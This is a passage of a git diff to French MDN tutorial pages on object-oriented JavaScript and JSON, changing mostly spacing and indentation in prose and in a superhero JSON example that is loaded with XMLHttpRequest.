l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. +Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. -Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON), un format commun d'échange de données écrit en utilisant les objets JavaScript. +Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON), un format commun d'échange de données écrit en utilisant les objets JavaScript. ## Voir aussi - [ObjectPlayground.com](http://www.objectplayground.com/) — Un site interactif d'appentissage très utile pour en savoir plus sur les Objets. -- [Secrets of the JavaScript Ninja](https://www.amazon.com/gp/product/193398869X/), Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne. -- [You Don't Know JS: this & Object Prototypes](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes) — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise. +- [Secrets of the JavaScript Ninja](https://www.amazon.com/gp/product/193398869X/), Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne. +- [You Don't Know JS: this & Object Prototypes](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes) — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise. {{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}} @@ -250,7 +250,7 @@ Dans le prochain article, nous jetterons un regard sur comment travailler avec l ## Dans ce module - [Les bases de l'Objet](/fr/docs/Learn/JavaScript/Objects/Basics) -- [JavaScript Orienté Objet pour débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS) +- [JavaScript Orienté Objet pour débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS) - [Prototypes d'Objet](/fr/docs/Learn/JavaScript/Objects/Object_prototypes) - [L'héritage en JavaScript](/fr/docs/Learn/JavaScript/Objects/Inheritance) - [Travailler avec les données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) diff --git a/files/fr/learn/javascript/objects/index.md b/files/fr/learn/javascript/objects/index.md index ae25197ce7..4eca92f7f8 100644 --- a/files/fr/learn/javascript/objects/index.md +++ b/files/fr/learn/javascript/objects/index.md @@ -14,37 +14,37 @@ translation_of: Learn/JavaScript/Objects --- {{JsSidebar}}{{PreviousNext("Apprendre/JavaScript/Building_blocks", "Learn/JavaScript/Objects/Basics")}} -En JavaScript, la plupart des choses sont des objets, des éléments du cœur de JavaScript, comme les chaînes de caractères et les tableaux, aux interfaces de programmation (APIs) des navigateurs construites sur la base de JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions liées et des variables au sein de paquets efficaces, et se comportant comme des conteneurs de données. Il est important de comprendre la nature orientée objet du JavaScript si vous souhaitez aller loin dans votre connaissance du langage, aussi, avons-nous fourni ce module afin de vous aider. Ici, nous enseignons la théorie de l’objet et sa syntaxe en détail, ensuite, ce sera à vous de voir comment vous souhaitez créer vos propres objets. +En JavaScript, la plupart des choses sont des objets, des éléments du cœur de JavaScript, comme les chaînes de caractères et les tableaux, aux interfaces de programmation (APIs) des navigateurs construites sur la base de JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions liées et des variables au sein de paquets efficaces, et se comportant comme des conteneurs de données. Il est important de comprendre la nature orientée objet du JavaScript si vous souhaitez aller loin dans votre connaissance du langage, aussi, avons-nous fourni ce module afin de vous aider. Ici, nous enseignons la théorie de l’objet et sa syntaxe en détail, ensuite, ce sera à vous de voir comment vous souhaitez créer vos propres objets. ## Prérequis -Avant de commencer ce module, vous devriez avoir quelques familiarités avec le HTML et le CSS. Il serait raisonnable de travailler sur les modules [Introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) et [Introduction au CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS) avant de commencer avec le JavaScript. +Avant de commencer ce module, vous devriez avoir quelques familiarités avec le HTML et le CSS. Il serait raisonnable de travailler sur les modules [Introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) et [Introduction au CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS) avant de commencer avec le JavaScript. Vous devriez également être familiarisé avec les bases du JavaScript avant de poursuivre en détails avec les objets JavaScript. Avant de commencer ce module, travaillez sur [Premiers pas avec JavaScript](/fr/docs/Learn/JavaScript/First_steps) et [Les blocs de construction en JavaScript](/fr/Apprendre/JavaScript/Building_blocks). -> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil où vous n’avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer les (la plupart des) exemples de code grâce à un programme en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil où vous n’avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer les (la plupart des) exemples de code grâce à un programme en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). ## Guides - [Les bases de JavaScript orienté objet](/fr/docs/Learn/JavaScript/Objects/Basics) - - : Dans le premier article concernant les objets JavaScript, nous découvrirons la syntaxe fondamentale d’un objet JavaScript, et nous revisiterons certaines fonctionnalités du JavaScript que nous avions vues précédemment dans le cours, en insistant sur le fait que bon nombre d'éléments précedemment abordés sont en fait des objets. + - : Dans le premier article concernant les objets JavaScript, nous découvrirons la syntaxe fondamentale d’un objet JavaScript, et nous revisiterons certaines fonctionnalités du JavaScript que nous avions vues précédemment dans le cours, en insistant sur le fait que bon nombre d'éléments précedemment abordés sont en fait des objets. <!----> - [JavaScript orienté objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/JS_orient%C3%A9-objet) - : Après avoir vu les notions de base, nous nous pencherons sur le JavaScript orienté objet (JSOO) — cet article présente une vue basique de la théorie de la programmation orientée objet (POO), et explore ensuite comment le JavaScript émule les classes d’objet via les fonctions des constructeurs et comment créer des instances d’objet. - [Objets prototypes](/fr/docs/Learn/JavaScript/Objects/Prototypes_Objet) - - : Les prototypes sont des mécanismes par lesquels les objets JavaScript héritent les fonctionnalités d’un autre objet, et ils fonctionnent différemment des mécanismes d’héritage des langages classiques de programmation orientée objet. Dans cet article, nous explorons cette différence, expliquant comment les chaînes de prototypes fonctionnent et jetant un regard sur comment la propriété prototype peut être utilisée pour ajouter des méthodes aux constructeurs existants. + - : Les prototypes sont des mécanismes par lesquels les objets JavaScript héritent les fonctionnalités d’un autre objet, et ils fonctionnent différemment des mécanismes d’héritage des langages classiques de programmation orientée objet. Dans cet article, nous explorons cette différence, expliquant comment les chaînes de prototypes fonctionnent et jetant un regard sur comment la propriété prototype peut être utilisée pour ajouter des méthodes aux constructeurs existants. - [L’héritage au sein de JavaScript](/fr/docs/Learn/JavaScript/Objects/Heritage) - - : Avec la plupart des redoutables détails du JSOO maintenant expliqués, cet article montre comment créer les classes (constructeurs) d’objet “enfant” qui héritent des fonctionnalités de leur classes “parents”. De plus, nous présentons certains conseils sur où et comment utiliser le JSOO. + - : Avec la plupart des redoutables détails du JSOO maintenant expliqués, cet article montre comment créer les classes (constructeurs) d’objet “enfant” qui héritent des fonctionnalités de leur classes “parents”. De plus, nous présentons certains conseils sur où et comment utiliser le JSOO. - [Manipuler des données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) - : JavaScript Object Notation (JSON) est un format standard pour la représentation de données structurées comme les objets JavaScript, qui est communément utilisé pour représenter et transmettre les données sur les sites web (ex. : Envoyer certaines données du serveur au client, afin d’être affichées sur une page web). Vous le rencontrerez assez souvent. Aussi, dans cet article, nous vous donnons tout ce dont vous avez besoin pour travailler avec le format JSON utilisant le JavaScript, incluant l’accès aux éléments des données dans un objet JSON et l’écriture de votre propre JSON. - [Pratiques sur la construction d’objet](/fr/docs/Learn/JavaScript/Objects/Object_building_practice) - - : Dans l’article précédent nous avons fait le tour de l’essentiel de la théorie de l’objet JavaScript et les détails de sa syntaxe, vous donnant ainsi une solide base sur laquelle débuter. Dans cet article nous plongeons dans un exercice, vous donnant plus de pratique dans la construction d’objets JavaScript personnalisés, qui produisent quelque chose d’amusant et de plus coloré — quelques balles colorées et bondissantes. + - : Dans l’article précédent nous avons fait le tour de l’essentiel de la théorie de l’objet JavaScript et les détails de sa syntaxe, vous donnant ainsi une solide base sur laquelle débuter. Dans cet article nous plongeons dans un exercice, vous donnant plus de pratique dans la construction d’objets JavaScript personnalisés, qui produisent quelque chose d’amusant et de plus coloré — quelques balles colorées et bondissantes. ## Auto-évaluation -- [Ajoutez des fonctionnalités à notre démo des ballons bondissants](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) +- [Ajoutez des fonctionnalitée d notre démo des ballons bondissants](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) - : Dans cette évaluation, vous devrez utiliser la démo des balles bondissantes de l’article précédent comme un point de départ et y ajouter quelques nouvelles et intéressantes fonctionnalités. {{PreviousNext("Apprendre/JavaScript/Building_blocks", "JavaScript/Guide")}} diff --git a/files/fr/learn/javascript/objects/json/index.md b/files/fr/learn/javascript/objects/json/index.md index 78b6610785..5540825f14 100644 --- a/files/fr/learn/javascript/objects/json/index.md +++ b/files/fr/learn/javascript/objects/json/index.md @@ -14,7 +14,7 @@ translation_of: Learn/JavaScript/Objects/JSON --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}} -Le JavaScript Object Notation (JSON) est un format standard utilisé pour représenter des données structurées de façon semblable aux objets Javascript. Il est habituellement utilisé pour structurer et transmettre des données sur des sites web (par exemple, envoyer des données depuis un serveur vers un client afin de les afficher sur une page web ou vice versa). Comme cette notation est extrêmement courante, cet article a pour but de vous donner les connaissances nécessaires pour travailler avec JSON en JavaScript, vous apprendre à analyser la syntaxe du JSON afin d'en extraire des données et écrire vos propres objets JSON. +Le JavaScript Object Notation (JSON) est un format standard utilisé pour représenter des données structurées de façon semblable aux objets Javascript. Il est habituellement utilisé pour structurer et transmettre des données sur des sites web (par exemple, envoyer des données depuis un serveur vers un client afin de les afficher sur une page web ou vice versa). Comme cette notation est extrêmement courante, cet article a pour but de vous donner les connaissances nécessaires pour travailler avec JSON en JavaScript, vous apprendre à analyser la syntaxe du JSON afin d'en extraire des données et écrire vos propres objets JSON. <table class="standard-table"> <tbody> @@ -43,59 +43,59 @@ Le JavaScript Object Notation (JSON) est un format standard utilisé pour repré ## Plus sérieusement, qu'est ce que le JSON ? -{{glossary("JSON")}} est un format de données semblable à la syntaxe des objets JavaScript, qui a été popularisé par [Douglas Crockford](https://en.wikipedia.org/wiki/Douglas_Crockford). Malgré sa syntaxe très similaire à celle des objets littéraux JavaScript, JSON peut être utilisé indépendamment de ce langage et ainsi, de nombreux autres langages de programmation disposent de fonctionnalités permettant d'analyser la syntaxe du JSON et d'en générer. +{{glossary("JSON")}} est un format de données semblable à la syntaxe des objets JavaScript, qui a été popularisé par [Douglas Crockford](https://en.wikipedia.org/wiki/Douglas_Crockford). Malgré sa syntaxe très similaire à celle des objets littéraux JavaScript, JSON peut être utilisé indépendamment de ce langage et ainsi, de nombreux autres langages de programmation disposent de fonctionnalités permettant d'analyser la syntaxe du JSON et d'en générer. -Le JSON se présente sous la forme d'une chaîne de caractères —utile lorsque vous souhaitez transmettre les données sur un réseau. Il a donc besoin d'être converti en un objet JavaScript natif lorsque vous souhaitez accéder aux données. Ce n'est pas vraiment un souci puisque le JavaScript fournit un objet global [JSON](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON) disposant des méthodes pour assurer la conversion entre les deux. +Le JSON se présente sous la forme d'une chaîne de caractères —utile lorsque vous souhaitez transmettre les données sur un réseau. Il a donc besoin d'être converti en un objet JavaScript natif lorsque vous souhaitez accéder aux données. Ce n'est pas vraiment un souci puisque le JavaScript fournit un objet global [JSON](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON) disposant des méthodes pour assurer la conversion entre les deux. -> **Note :** Convertir une chaîne de caractères en un objet natif se nomme **analyse syntaxique (parsage)** tandis que le contraire porte le nom de la **linéarisation (stringification)**. +> **Note :** Convertir une chaîne de caractères en un objet natif se nomme **analyse syntaxique (parsage)** tandis que le contraire porte le nom de la **linéarisation (stringification)**. Un objet JSON peut être stocké dans son propre fichier qui se présente simplement sous la forme d'un fichier texte avec l'extension `.json` et le {{glossary("MIME type")}} `application/json`. ### Structure du JSON -Nous disions tout à l'heure qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. Un objet JSON accepte comme valeur les mêmes types de données de base que tout autre objet Javascript — chaînes de caractères, nombres, tableaux, booléens et tout autre objet littéral. Cela vous permet de hiérarchiser vos données comme ceci : +Nous disions tout à l'heure qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. Un objet JSON accepte comme valeur les mêmes types de données de base que tout autre objet Javascript — chaînes de caractères, nombres, tableaux, booléens et tout autre objet littéral. Cela vous permet de hiérarchiser vos données comme ceci : ```json { - "squadName": "Super hero squad", - "homeTown": "Metro City", - "formed": 2016, - "secretBase": "Super tower", + "squadName": "Super hero squad", + "homeTown": "Metro City", + "formed": 2016, + "secretBase": "Super tower", "active": true, - "members": [ - { - "name": "Molecule Man", - "age": 29, - "secretIdentity": "Dan Jukes", - "powers": [ - "Radiation resistance", - "Turning tiny", - "Radiation blast" - ] - }, - { - "name": "Madame Uppercut", - "age": 39, - "secretIdentity": "Jane Wilson", - "powers": [ - "Million tonne punch", - "Damage resistance", - "Superhuman reflexes" - ] - }, - { - "name": "Eternal Flame", - "age": 1000000, - "secretIdentity": "Unknown", - "powers": [ - "Immortality", - "Heat Immunity", - "Inferno", - "Teleportation", - "Interdimensional travel" - ] - } - ] + "members": [ + { + "name": "Molecule Man", + "age": 29, + "secretIdentity": "Dan Jukes", + "powers": [ + "Radiation resistance", + "Turning tiny", + "Radiation blast" + ] + }, + { + "name": "Madame Uppercut", + "age": 39, + "secretIdentity": "Jane Wilson", + "powers": [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + }, + { + "name": "Eternal Flame", + "age": 1000000, + "secretIdentity": "Unknown", + "powers": [ + "Immortality", + "Heat Immunity", + "Inferno", + "Teleportation", + "Interdimensional travel" + ] + } + ] } ``` @@ -106,16 +106,16 @@ superHeroes.hometown superHeroes['active'] ``` -Pour accéder aux données plus profondes de la hiérarchie, vous n'avez qu'à enchaîner à la fois les noms des propriétés et les indexes des tableaux. Par exemple, l'expression suivante pointe vers le troisième superpouvoir du second super héros présent dans la liste : +Pour accéder aux données plus profondes de la hiérarchie, vous n'avez qu'à enchaîner à la fois les noms des propriétés et les indexes des tableaux. Par exemple, l'expression suivante pointe vers le troisième superpouvoir du second super héros présent dans la liste : ```js superHeroes['members'][1]['powers'][2] ``` 1. D'abord, nous partons de la variable — `superHeroes` -2. À l'intérieur de laquelle nous désirons accéder à la propriété `members`, donc, nous tapons `["members"]`. +2. À l'intérieur de laquelle nous désirons accéder à la propriété `members`, donc, nous tapons `["members"]`. 3. `members` contient un tableau renfermant des objets. Nous désirons accéder au second de ces objets, donc nous utilisons `[1]`. -4. À l'intérieur de cet objet, nous souhaitons accéder à la propriété `powers`, donc, nous utilisons `["powers"]`. +4. À l'intérieur de cet objet, nous souhaitons accéder à la propriété `powers`, donc, nous utilisons `["powers"]`. 5. Enfin, à l'intérieur de cette propriété `powers` nous trouvons un nouveau tableau qui contient les super pouvoirs de ce héros. Nous désirons obtenir le troisième, donc nous tapons `[2]`. > **Note :** L'objet JSON vu ci-dessus est disponible au sein d'une variable dans notre exemple [JSONTest.html](http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html)). Essayez de le charger et d'accéder aux données en utilisant la console Javascript de votre navigateur. @@ -137,15 +137,15 @@ Un peu plus haut, nous avons dit qu'un objet JSON n'était ni plus ni moins qu'u ] }, { - "name": "Madame Uppercut", - "age": 39, - "secretIdentity": "Jane Wilson", - "powers": [ - "Million tonne punch", - "Damage resistance", - "Superhuman reflexes" - ] - } + "name": "Madame Uppercut", + "age": 39, + "secretIdentity": "Jane Wilson", + "powers": [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + } ] ``` @@ -155,9 +155,9 @@ Le code ci dessus est une notation JSON parfaitement valide. Vous n'aurez qu'à - Un objet JSON est uniquement un format de données — il ne contient que des propriétés mais pas de méthodes. - La notation JSON nécessite l'usage des guillemets pour être valide. Il est obligatoire d'utiliser des guillemets et non les apostrophes autour des chaînes de caractères et des noms de propriétés. -- Une simple virgule ou un double point mal placé peut rendre votre fichier JSON invalide et non fonctionnel. Soyez très attentif aux données que vous utilisez (bien que le JSON généré automatiquement par un programme sera moins enclin à contenir des erreurs, à partir du moment où le programme est codé correctement). Vous pouvez utiliser une application comme [JSONLint](http://jsonlint.com/) pour valider votre code JSON. -- Dans l'absolu, le JSON peut prendre la forme de n'importe quel type de données qui serait valide pour être contenu dans du JSON et non juste des tableaux ou des objets. Ainsi, par exemple, une simple chaîne de caractères ou un nombre serait un objet JSON valide. -- Contrairement au JavaScript dans lequel les propriétés (_keys_) non entourées de guillemets peuvent être utilisées, en JSON, seules les chaînes de caractères entourées de guillemets peuvent être utilisées en tant que propriétés. +- Une simple virgule ou un double point mal placé peut rendre votre fichier JSON invalide et non fonctionnel. Soyez très attentif aux données que vous utilisez (bien que le JSON généré automatiquement par un programme sera moins enclin à contenir des erreurs, à partir du moment où le programme est codé correctement). Vous pouvez utiliser une application comme [JSONLint](http://jsonlint.com/) pour valider votre code JSON. +- Dans l'absolu, le JSON peut prendre la forme de n'importe quel type de données qui serait valide pour être contenu dans du JSON et non juste des tableaux ou des objets. Ainsi, par exemple, une simple chaîne de caractères ou un nombre serait un objet JSON valide. +- Contrairement au JavaScript dans lequel les propriétés (_keys_) non entourées de guillemets peuvent être utilisées, en JSON, seules les chaînes de caractères entourées de guillemets peuvent être utilisées en tant que propriétés. ## Activité : Manipuler le JSON au travers d'un exemple @@ -165,7 +165,7 @@ Allez ! Un petit exemple pour voir comment nous pouvons nous servir de données ### Lançons nous -Pour commencer, faites une copie locale de nos fichiers [heroes.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html) et [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css). Le dernier contient simplement quelques instructions CSS pour la mise en forme de notre page alors que le premier n'est ni plus ni moins qu'un squelette HTML de base : +Pour commencer, faites une copie locale de nos fichiers [heroes.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html) et [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css). Le dernier contient simplement quelques instructions CSS pour la mise en forme de notre page alors que le premier n'est ni plus ni moins qu'un squelette HTML de base : ```html <header> @@ -175,14 +175,14 @@ Pour commencer, faites une copie locale de nos fichiers [heroes.html](https://gi </section> ``` -Nous trouvons également un élément {{HTMLElement("script")}} dans lequel nous écrirons le code Javascript de cet exercice. Pour le moment, il ne contient que deux lignes destinées à récuperer les éléments {{HTMLElement("header")}} et {{HTMLElement("section")}} pour les stocker dans des variables : +Nous trouvons également un élément {{HTMLElement("script")}} dans lequel nous écrirons le code Javascript de cet exercice. Pour le moment, il ne contient que deux lignes destinées à récuperer les éléments {{HTMLElement("header")}} et {{HTMLElement("section")}} pour les stocker dans des variables : ```js var header = document.querySelector('header'); var section = document.querySelector('section'); ``` -Nos données JSON sont disponibles sur notre GitHub ici : <https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json>. +Nos données JSON sont disponibles sur notre GitHub ici : <https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json>. Nous souhaitons les récupérer et, après quelques manipulations du DOM, les afficher comme ceci : @@ -190,7 +190,7 @@ Nous souhaitons les récupérer et, après quelques manipulations du DOM, les af ### Chargeons notre JSON -Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpRequest")}} (qu'on appelle plus couramment **XHR**). Il s'agit d'un objet JavaScript extrêmement utile qui nous permet de construire une requête afin d'interroger un serveur pour obtenir des ressources diverses (images, texte, JSON, ou n'importe quel extrait HTML) le tout en Javascript. En d'autres termes, cela nous permet de mettre à jour de petites sections de contenu sans avoir à recharger notre page toute entière. Ceci conduit à des pages web plus réactives. Mais même si le sujet est très tentant, il dépasse largement l'objet de cet article pour être expliqué plus en détails. +Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpRequest")}} (qu'on appelle plus couramment **XHR**). Il s'agit d'un objet JavaScript extrêmement utile qui nous permet de construire une requête afin d'interroger un serveur pour obtenir des ressources diverses (images, texte, JSON, ou n'importe quel extrait HTML) le tout en Javascript. En d'autres termes, cela nous permet de mettre à jour de petites sections de contenu sans avoir à recharger notre page toute entière. Ceci conduit à des pages web plus réactives. Mais même si le sujet est très tentant, il dépasse largement l'objet de cet article pour être expliqué plus en détails. 1. Donc, pour commencer, nous allons charger l'URL du fichier JSON que nous voulons récupérer dans une variable. Aussi, ajouter la ligne suivante à votre code Javascript : @@ -198,7 +198,7 @@ Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpReq var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; ``` -2. Afin de créer une requête, nous avons besoin d'instancier un nouvel objet `XMLHttpRequest` à partir de son constructeur en utilisant le mot clé new. Ajouter la ligne suivante à votre script : +2. Afin de créer une requête, nous avons besoin d'instancier un nouvel objet `XMLHttpRequest` à partir de son constructeur en utilisant le mot clé new. Ajouter la ligne suivante à votre script : ```js var request = new XMLHttpRequest(); @@ -210,12 +210,12 @@ Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpReq request.open('GET', requestURL); ``` - Cette méthode prend au moins deux paramètres — il y a d'autres paramètres optionnels disponibles. Deux suffiront pour notre exemple : + Cette méthode prend au moins deux paramètres — il y a d'autres paramètres optionnels disponibles. Deux suffiront pour notre exemple : - - La méthode HTTP à utiliser sur le réseau pour notre requête. Dans notre cas, la méthode [`GET`](/fr/docs/Web/HTTP/Methods/GET) est appropriée dans la mesure où nous voulons simplement récupérer quelques données. + - La méthode HTTP à utiliser sur le réseau pour notre requête. Dans notre cas, la méthode [`GET`](/fr/docs/Web/HTTP/Methods/GET) est appropriée dans la mesure où nous voulons simplement récupérer quelques données. - L'URL où adresser notre requête — il s'agit de l'URL du fichier JSON dont nous parlions tout à l'heure. -4. Ensuite, ajoutez les deux lignes suivantes — ici, nous attribuons la valeur `'json'` à [`responseType`](/fr/docs/Web/API/XMLHttpRequest/responseType), signalant ainsi au serveur que nous attendons une réponse au format JSON. Puis, nous envoyons notre requête à l'aide de la méthode [`send()`](/fr/docs/Web/API/XMLHttpRequest/send) : +4. Ensuite, ajoutez les deux lignes suivantes — ici, nous attribuons la valeur `'json'` à [`responseType`](/fr/docs/Web/API/XMLHttpRequest/responseType), signalant ainsi au serveur que nous attendons une réponse au format JSON. Puis, nous envoyons notre requête à l'aide de la méthode [`send()`](/fr/docs/Web/API/XMLHttpRequest/send) : ```js request.responseType = 'json'; @@ -232,13 +232,13 @@ Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpReq } ``` -Ici, nous stockons la réponse à notre requête (disponible au travers de la propriété [`response`](/fr/docs/Web/API/XMLHttpRequest/response)) dans la variable `superHeroes` ; cette variable contiendra désormais l'objet JavaScript basé sur le JSON ! Nous passerons ensuite cet objet en paramètre à deux fonctions — la première remplira le <`header>` avec les données correspondantes tandis que la seconde créera une carte d'identité pour chaque héros de l'équipe et l'ajoutera dans la `<section>`. +Ici, nous stockons la réponse à notre requête (disponible au travers de la propriété [`response`](/fr/docs/Web/API/XMLHttpRequest/response)) dans la variable `superHeroes` ; cette variable contiendra désormais l'objet JavaScript basé sur le JSON ! Nous passerons ensuite cet objet en paramètre à deux fonctions — la première remplira le <`header>` avec les données correspondantes tandis que la seconde créera une carte d'identité pour chaque héros de l'équipe et l'ajoutera dans la `<section>`. -Nous avons encapsulé ce code dans un gestionnaire d'évènements qui s'exécutera quand l'évènement load sera déclenché sur l'objet request (voir [`onload`](/fr/docs/Web/API/XMLHttpRequestEventTarget/onload)) — simplement parce que l'évènement load est déclenché quand une réponse a été renvoyée avec succès ; en procédant de la sorte, nous serons certains que la propriété `request.response` sera disponible au moment où nous essayerons d'en faire quelque chose. +Nous avons encapsulé ce code dans un gestionnaire d'évènements qui s'exécutera quand l'évènement load sera déclenché sur l'objet request (voir [`onload`](/fr/docs/Web/API/XMLHttpRequestEventTarget/onload)) — simplement parce que l'évènement load est déclenché quand une réponse a été renvoyée avec succès ; en procédant de la sorte, nous serons certains que la propriété `request.response` sera disponible au moment où nous essayerons d'en faire quelque chose. ### Remplissage de l'en-tête -Maintenant que nous avons récupéré et converti en objet JavaScript nos données JSON, il est temps d'en faire bon usage : implémentons donc les deux fonctions évoquées ci-dessus. Avant tout, ajoutons les lignes suivantes en dessous de notre code : +Maintenant que nous avons récupéré et converti en objet JavaScript nos données JSON, il est temps d'en faire bon usage : implémentons donc les deux fonctions évoquées ci-dessus. Avant tout, ajoutons les lignes suivantes en dessous de notre code : ```js function populateHeader(jsonObj) { @@ -252,11 +252,11 @@ function populateHeader(jsonObj) { } ``` -Nous avons appelé le paramètre de cette fonction `jsonObj` afin de garder en tête que cet objet JavaScript provient du JSON. Ici, nous créons tout d'abord un élément {{HTMLElement("h1")}} à l'aide de [`createElement()`](/fr/docs/Web/API/Document/createElement), nous fixons son [`textContent`](/fr/docs/Web/API/Node/textContent) à la valeur de la propriété `squadName` de l'objet, puis nous l'ajoutons à l'en-tête en utilisant [`appendChild()`](/fr/docs/Web/API/Node/appendChild). Ensuite, nous faisons quelque chose de relativement similaire avec un élément paragraphe : nous le créons, fixons son contenu et l'ajoutons à l'en-tête. La seule différence est que pour son contenu, nous avons concaténé la chaîne de caractère `homeTown` et la propriété `formed` de l'objet. +Nous avons appelé le paramètre de cette fonction `jsonObj` afin de garder en tête que cet objet JavaScript provient du JSON. Ici, nous créons tout d'abord un élément {{HTMLElement("h1")}} à l'aide de [`createElement()`](/fr/docs/Web/API/Document/createElement), nous fixons son [`textContent`](/fr/docs/Web/API/Node/textContent) à la valeur de la propriété `squadName` de l'objet, puis nous l'ajoutons à l'en-tête en utilisant [`appendChild()`](/fr/docs/Web/API/Node/appendChild). Ensuite, nous faisons quelque chose de relativement similaire avec un élément paragraphe : nous le créons, fixons son contenu et l'ajoutons à l'en-tête. La seule différence est que pour son contenu, nous avons concaténé la chaîne de caractère `homeTown` et la propriété `formed` de l'objet. ### Création des fiches des héros -Maintenant, ajoutons la fonction suivante qui crée et affiche les fiches de nos super-héros en dessous de notre code : +Maintenant, ajoutons la fonction suivante qui crée et affiche les fiches de nos super-héros en dessous de notre code : ```js function showHeroes(jsonObj) { @@ -298,7 +298,7 @@ Pour commencer, on stocke la propriété `members` de l'objet JavaScript dans un Maintenant, on utilise une [boucle for](/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code) pour parcourir chaque object du tableau. Pour chaque cas, il faut : 1. Créer plusieurs nouveaux éléments : un `<article>`, un `<h2>`, trois `<p>`s, et un `<ul>`. -2. Mettre le `name` du héros actuel dans le `<h2>`. +2. Mettre le `name` du héros actuel dans le `<h2>`. 3. Remplir les trois paragraphes avec leur `secretIdentity`, leur `age`, et une ligne nommée "Superpowers:" pour présenter la liste des super-pouvoirs. 4. Stocker la propriété `powers` dans une nouvelle variable nommée `superPowers` contenant un tableau listant les super-pouvoirs du héros actuel. 5. Utiliser une autre boucle `for` pour parcourir les super-pouvoirs du héros actuel — créer pour chacun d'entre eux un élément `<li>`, y placer le super-pouvoir et placer le `listItem` dans l'élément `<ul>` (`myList`) en utilisant `appendChild()`. @@ -306,7 +306,7 @@ Maintenant, on utilise une [boucle for](/fr/docs/Apprendre/JavaScript/Building_b > **Note :** Si vous ne parvenez pas à faire fonctionner l'exemple, consultez notre code source [heroes-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html) (ou regardez-le [en action](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html).) -> **Note :** Si vous comprenez difficilement la notation avec un point/une accolade utilisée pour accéder au JSON, ouvrez le fichier [superheroes.json](http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json) dans un nouvel onglet ou dans votre éditeur de texte et consultez-le pendant la lecture de notre code Javascript. Vous pouvez également vous reporter à notre article [Les bases du JavaScript orienté 